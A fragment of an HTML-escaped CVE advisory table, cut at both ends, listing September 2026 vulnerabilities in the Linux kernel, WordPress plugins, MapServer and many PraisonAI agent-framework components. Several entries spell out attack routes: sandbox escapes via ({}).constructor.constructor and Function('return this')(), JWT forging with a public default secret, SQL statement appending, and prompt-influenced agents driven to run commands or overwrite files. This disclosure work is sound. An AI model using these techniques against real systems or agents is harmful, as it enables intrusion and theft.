&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93177&quot; target=&quot;_blank&quot;&gt;CVE-2026-93177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/pm/powerplay: bounds-check voltage index in SMU7 lookup vddInd and vddcInd fields from VBIOS-parsed tables are used to index into voltage lookup tables without a bounds check. Return -EINVAL when any index is out of range.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93178&quot; target=&quot;_blank&quot;&gt;CVE-2026-93178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/v3d: Clear queue-&amp;gt;active_job when v3d_fence_create() fails The run_job() callbacks for BIN, RENDER, TFU and CSD assign the incoming job to queue-&amp;gt;active_job before calling v3d_fence_create(). If v3d_fence_create() fails, the callback returns NULL without clearing active_job, leaving a dangling pointer. Create a failure path in all run_job() callbacks that clears the active job before returning NULL. The BIN path takes queue-&amp;gt;queue_lock around the clear as it races against v3d_overflow_mem_work(); RENDER, TFU and CSD paths have no concurrent reader, so the clear is lock-free.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93192&quot; target=&quot;_blank&quot;&gt;CVE-2026-93192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate seg_id fields from persistent memory cache_pos_decode(), cache_key_decode() and the last-kset branches of cache_replay(), the writeback worker and the GC worker take a cache segment id from the cache device metadata and index cache-&amp;gt;segments[] with it without checking it against cache-&amp;gt;n_segs. That metadata is only CRC-protected with a fixed public seed, so whoever supplies the cache device on a table load (CAP_SYS_ADMIN) controls the id; an out-of-range value forms a wild pcache_cache_segment pointer that is dereferenced and written through -- an out-of-bounds read and write driven by on-disk data. Add cache_seg_id_valid() and reject an out-of-range id at each decode site, failing the operation with -EIO instead of indexing past the array. Bound the id against the initialized-segment count (cache_info.n_segs) rather than the physical device total. A forged cache_info.n_segs below seg_num otherwise leaves segments[cache_info.n_segs..seg_num) as zeroed structs whose data pointer is NULL, so a forged id in that window would still be dereferenced. A later patch guarantees cache_info.n_segs &amp;lt;= seg_num, and a driver-created cache sets the two equal, so valid images are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93201&quot; target=&quot;_blank&quot;&gt;CVE-2026-93201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: avoid CRC corruption due to parallel claim add batadv_bla_add_claim() is used to add claims and modify the backbone of claims for CLAIM frames from remote backbones and local packets. When it handles a claim, it needs to either * add the new claim&#039;s CRC to the backbone CRC * remove the already existing claim&#039;s CRC from the old backbone and add it to the new backbone But when the &quot;new&quot; claim code was running in parallel to the &quot;change backbone&quot; code, it can happen that the CRC was invalid because the backbone_gw of the claim was changed twice in the &quot;new&quot; claim code path: * CPU0 creates the claim for gateway A and publishes it in the claim hash. The crc16 of the address has not yet been added to A&#039;s crc at this point. * CPU1 processes a claim frame of gateway B for the same client, finds the just published claim, and performs the ownership change: it switches the pointer to B, removes the crc16 from A&#039;s crc - which never contained it - and adds it to B&#039;s crc. * CPU0 continues behind the creation branch, unconditionally switches the pointer back to A without compensating B&#039;s crc (its remove_crc is false for the creation path), and finally adds the crc16 to A&#039;s crc The CRC is then wrong for both: * claim belongs to A: but CRC is not part of backbone A&#039;s CRC * claim doesn&#039;t belong to B: CRC is still part of backbone B&#039;s CRC This wrong CRC is never recomputated from the stored claims. For local backbone claims, this can also not recovered using syncs. To avoid this, split the functionality in clear separate parts: * new claim which always adds claim CRC to the backbone CRC (but never changes the already set backbone_gw of the claim back) * update of existing claim which automatically changes the backbone_gw entry and only updates both backbone CRCs when there was an actual change&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93203&quot; target=&quot;_blank&quot;&gt;CVE-2026-93203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in luben zstd-jni up to 1.5.7-13. This vulnerability affects the function ZstdCompressCtx.loadDict of the file ZstdCompressCtx.java of the component Dictionary Sharing. Such manipulation leads to use after free. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.7-14 is able to resolve this issue. The name of the patch is a560131d7834598afd9cea6b7c107bc88e915936. The affected component should be upgraded. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90852&quot; target=&quot;_blank&quot;&gt;CVE-2026-90852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ludwig You--WPMasterToolKit&lt;/td&gt;
&lt;td&gt;Administrator SQL Injection in WPMasterToolKit &amp;lt;= 2.22.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66624&quot; target=&quot;_blank&quot;&gt;CVE-2026-66624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lxc--lxc-ci&lt;/td&gt;
&lt;td&gt;lxc-ci contains continuous integration and image-build scripts for LXC. Prior to the 2026-05-28 Arch Linux image publication, images built from images/archlinux.yaml retain the same pacman local-signing private key in /etc/pacman.d/gnupg and redistribute it to every container or virtual machine created from that image. An attacker who controls an HTTP package mirror or can intercept mirror traffic can use the shared pacman signing private key to sign modified packages that affected clients accept as trusted. Installing those packages permits arbitrary code execution as root on the client system. This issue is fixed in Arch Linux images published on or after 2026-05-28.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52727&quot; target=&quot;_blank&quot;&gt;CVE-2026-52727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MacWarrior--clipbucket-v5&lt;/td&gt;
&lt;td&gt;ClipBucket v5 before 5.5.3-#182 contains a file upload vulnerability that allows authenticated users to achieve remote code execution by uploading a PHP file with valid image magic bytes through the photo upload endpoint. The FileUpload::manageFile() function in fileupload.class.php fails to update the file extension after MIME validation, allowing an attacker-controlled .php extension to persist on disk and execute as PHP via PHP-FPM when the uploaded file is retrieved.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77929&quot; target=&quot;_blank&quot;&gt;CVE-2026-77929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;manticoresoftware--Manticore Search&lt;/td&gt;
&lt;td&gt;Manticore Search versions 27.0.0 before 28.4.4 fail to validate permissions for all statements in multi-statement SQL requests, allowing read-only users to execute unauthorized queries. Attackers can append additional SELECT statements after the first statement to read credential tables and obtain password hashes that authenticate as administrators without plaintext recovery.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92796&quot; target=&quot;_blank&quot;&gt;CVE-2026-92796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MapServer--MapServer&lt;/td&gt;
&lt;td&gt;MapServer is a system for developing web-based GIS applications. Prior to 8.6.4, MapServer&#039;s PostGIS runtime filter translation in src/mappostgis.cpp and msPostGISLayerTranslateFilter() treats a filteritem as numeric when CONNECTIONTYPE POSTGIS and metadata such as gml_&amp;lt;item&amp;gt;_type=Integer are configured, but it does not verify that attacker-controlled CGI qstring or OGC API Features featureId input is a numeric literal. The unquoted input is concatenated into the generated PostgreSQL/PostGIS predicate, allowing an unauthenticated remote attacker with access to an affected query endpoint to bypass predicates, enumerate unintended records, perform boolean-based or time-based SQL injection, and increase database load. The issue does not by itself establish database modification capabilities. This issue is fixed in version 8.6.4.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54354&quot; target=&quot;_blank&quot;&gt;CVE-2026-54354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mapster--Mapster WP Maps&lt;/td&gt;
&lt;td&gt;The Mapster WP Maps plugin for WordPress is vulnerable to Arbitrary User Meta Write in all versions up to, and including, 1.23.0 via the `my_profile_update()` function. This is due to the function performing no nonce verification, no capability check, and no allowlist validation on the meta key supplied via the `acf-photo-gallery-groups` POST parameter before passing both the meta key and its corresponding value directly to `update_user_meta()`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary user meta values, though privilege escalation is not possible.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12954&quot; target=&quot;_blank&quot;&gt;CVE-2026-12954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;marcobambini--Gravity&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in marcobambini Gravity up to 0.9.7. This affects an unknown function of the file src/utils/gravity_json.c of the component udp json-parser. Such manipulation leads to integer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. Upgrading to version 0.9.8 mitigates this issue. The name of the patch is 9b337c3eae5833c3956bed1fc01c21c14fd443f2. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90715&quot; target=&quot;_blank&quot;&gt;CVE-2026-90715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;marcopiovanello--yt-dlp-web-ui&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in marcopiovanello yt-dlp-web-ui up to v4. This issue affects the function NewGenericDownload of the file server/internal/downloaders/generic.go. Such manipulation of the argument params leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The name of the patch is c7ad3bd79c7c520a7d17e7f2ba19d962be8e7897. A patch should be applied to remediate this issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93371&quot; target=&quot;_blank&quot;&gt;CVE-2026-93371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to validate channel member-management permission during playbook run creation, allowing an authenticated channel member to add an arbitrary user to a restricted channel via the run owner field.. Mattermost Advisory ID: MMSA-2026-00677&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8821&quot; target=&quot;_blank&quot;&gt;CVE-2026-8821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mattiasw--ExifReader&lt;/td&gt;
&lt;td&gt;ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85715&quot; target=&quot;_blank&quot;&gt;CVE-2026-85715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;maximhq--Bifrost&lt;/td&gt;
&lt;td&gt;Bifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required. The default is governance.auth_config.is_enabled=false. Auth off means every caller is a local admin. One unauthenticated POST /api/mcp/client is enough to run a program as the Bifrost process user (appuser on the official image). &amp;nbsp;transports/v2.1.0 refuses an unauthenticated stdio registration with 403. transports/v2.0.0 still allows it.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90898&quot; target=&quot;_blank&quot;&gt;CVE-2026-90898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MCC--Universal Library for Linux (uldaq)&lt;/td&gt;
&lt;td&gt;There is stack-based buffer overflow vulnerability recently discovered in MCC Universal Library for Linux (uldaq).&amp;nbsp; This may result in information disclosure or arbitrary code execution. This vulnerability affects MCC Universal Library for Linux (uldaq) v1.2.1 and prior versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19477&quot; target=&quot;_blank&quot;&gt;CVE-2026-19477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mdmag--Quill Forms | Conversational Multi Step Forms, Surveys &amp;amp; quizzes&lt;/td&gt;
&lt;td&gt;The Quill Forms | Conversational Multi Step Forms, Surveys &amp;amp; quizzes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Multiple Choice &#039;Other&#039; Value in all versions up to, and including, 5.7.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected script executes in the context of the WordPress admin results view, making administrators the primary target when reviewing submitted form entries.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15664&quot; target=&quot;_blank&quot;&gt;CVE-2026-15664&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands bind to 0.0.0.0 by default, a reachable unauthenticated client can execute commands as the UI service account even when the MCP handshake later fails. This vulnerability is fixed in 4.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57124&quot; target=&quot;_blank&quot;&gt;CVE-2026-57124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.59 and praisonaiagents 1.6.59, the unauthenticated POST /api/v1/runs Jobs API accepts attacker-controlled agent_yaml, and the approve field can mark execute_command as YAML-approved before @require_approval checks critical tools. This chain allows a remote caller to cause a configured language model agent to invoke arbitrary operating-system commands without credentials or operator interaction. This vulnerability is fixed in praisonai 4.6.59 and praisonaiagents 1.6.59 as fixed versions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57125&quot; target=&quot;_blank&quot;&gt;CVE-2026-57125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.58, recipe serve installs APIKeyAuthMiddleware or JWTAuthMiddleware when an operator selects api-key or JWT authentication, but each middleware forwards requests when PRAISONAI_API_KEY or PRAISONAI_JWT_SECRET and the corresponding recipe value are absent. Unauthenticated clients can then reach recipe execution, input, and output surfaces and may trigger connected tools despite the operator explicitly enabling authentication. This issue is fixed in 4.6.58.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57127&quot; target=&quot;_blank&quot;&gt;CVE-2026-57127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.58, praisonai.jobs.server.create_app mounts praisonai.jobs.router.create_router under /api/v1/runs without authentication or per-job authorization. Network clients can submit attacker-controlled prompts and agent configuration, list and read jobs, stream results, and cancel or delete other jobs, exposing service credentials and connected tool capabilities to unauthorized agent execution. This vulnerability is fixed in 4.6.58.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57131&quot; target=&quot;_blank&quot;&gt;CVE-2026-57131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.4.0 until 1.7.2, codeMode in src/praisonai-ts/src/tools/builtins/code-mode.ts executes untrusted JavaScript with new Function() inside with(sandbox) and relies on a small source-code blocklist plus shadowed process and require properties. Code can use ({}).constructor.constructor to recover the real Function constructor, obtain process and process.mainModule.require, and reach host filesystem and subprocess APIs despite the advertised sandbox. Attackers who control codeMode input can read secrets, modify files, execute commands, or exhaust the host process. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57138&quot; target=&quot;_blank&quot;&gt;CVE-2026-57138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.5.0 until 1.7.2, MCPServer.startHttp() in src/praisonai-ts/src/mcp/server.ts binds without a host restriction and forwards every HTTP POST request to handleRequest() without authentication or authorization. Any network client that can reach the port can call tools/list, tools/call, resources/read, or prompts/get, causing registered handlers to run with server-side credentials and process privileges or disclose registered data. An initial remediation was released in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57139&quot; target=&quot;_blank&quot;&gt;CVE-2026-57139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.6.0 until 1.7.2, AgentOS in src/praisonai-ts/src/os/agentos.ts uses the 0.0.0.0 default from src/praisonai-ts/src/os/config.ts and registers GET /api/agents and POST /api/chat without authentication middleware. A remote caller who can reach the service can obtain agent names, roles, and instruction prefixes and can invoke a selected agent, potentially reaching its tools, memory, external APIs, credentials, and workflow state. An initial remediation was released in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57140&quot; target=&quot;_blank&quot;&gt;CVE-2026-57140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function(&#039;return this&#039;)() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57141&quot; target=&quot;_blank&quot;&gt;CVE-2026-57141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.62, src/praisonai/praisonai/tools/multiedit.py passes the LLM-controlled filepath parameter directly to open for reading and writing without traversal rejection, symlink resolution, a workspace boundary, or protected-path checks. Prompt-influenced agents can read files through edit and diff behavior or overwrite files accessible to the process, exposing secrets and enabling persistence or application tampering. This issue is fixed in 4.6.62.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57145&quot; target=&quot;_blank&quot;&gt;CVE-2026-57145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 0.1.6, praisonai_platform/services/auth_service.py assigns the public dev-secret-change-me value to JWT_SECRET when PLATFORM_JWT_SECRET is unset, and its production guard does not run when PLATFORM_ENV is also unset because that setting defaults to dev. A remote unauthenticated attacker can mint an HS256 token with an arbitrary sub and email, and the platform&#039;s AuthService._verify_token() and get_current_user dependency accept the forged identity for protected API routes. This vulnerability is fixed in praisonai-platform 0.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57147&quot; target=&quot;_blank&quot;&gt;CVE-2026-57147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 0.1.6, praisonai_platform/services/auth_service.py falls back to the public dev-secret-change-me HS256 signing key when PLATFORM_JWT_SECRET is unset, while the startup and token-issuance guards are disabled because PLATFORM_ENV also defaults to dev. An unauthenticated attacker can sign a JWT containing an attacker-chosen sub value, and AuthService._verify_token() accepts it as an authenticated identity, enabling user or workspace-owner impersonation when a target identifier is known. This vulnerability is fixed in praisonai-platform 0.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57148&quot; target=&quot;_blank&quot;&gt;CVE-2026-57148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From praisonaiagents 0.6.0 until 1.6.59 and PraisonAI 3.10.0 until 4.6.59, ToolsMCPServer.run_sse() in src/praisonai-agents/praisonaiagents/mcp/mcp_server.py mounts SseServerTransport on the legacy /sse and /messages/ endpoints without default Host, Origin, or authentication enforcement. A malicious website can use DNS rebinding against a reachable local or internal SSE server, supply attacker-controlled Host and Origin headers, enumerate registered tools, and invoke them with the server user&#039;s privileges. The Streamable HTTP transport rejects the same hostile Origin, which isolates the flaw to the legacy SSE wrapper. An initial remediation was released in praisonaiagents 1.6.59 and PraisonAI 4.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57112&quot; target=&quot;_blank&quot;&gt;CVE-2026-57112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.59, the WhatsApp and Linear bot webhook handlers verify HMAC signatures only when WHATSAPP_APP_SECRET or LINEAR_WEBHOOK_SECRET is configured and otherwise parse and dispatch unsigned request bodies. A remote unauthenticated client that reaches the webhook route can forge messages, comments, or agent-session events, impersonate platform users, influence agent prompts and actions, and disrupt bot processing. This issue is fixed in 4.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57122&quot; target=&quot;_blank&quot;&gt;CVE-2026-57122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, SpiderTools._validate_url calls _host_is_blocked, which checks literal host encodings but does not resolve DNS names before scrape_page, crawl, extract_links, extract_text, or URL-mention fetches connect. An attacker-controlled hostname resolving to a loopback, private, link-local, or cloud-metadata address therefore bypasses the SSRF policy without a rebinding race and can expose internal responses to the agent. This issue is fixed in praisonaiagents 1.6.58.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57126&quot; target=&quot;_blank&quot;&gt;CVE-2026-57126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
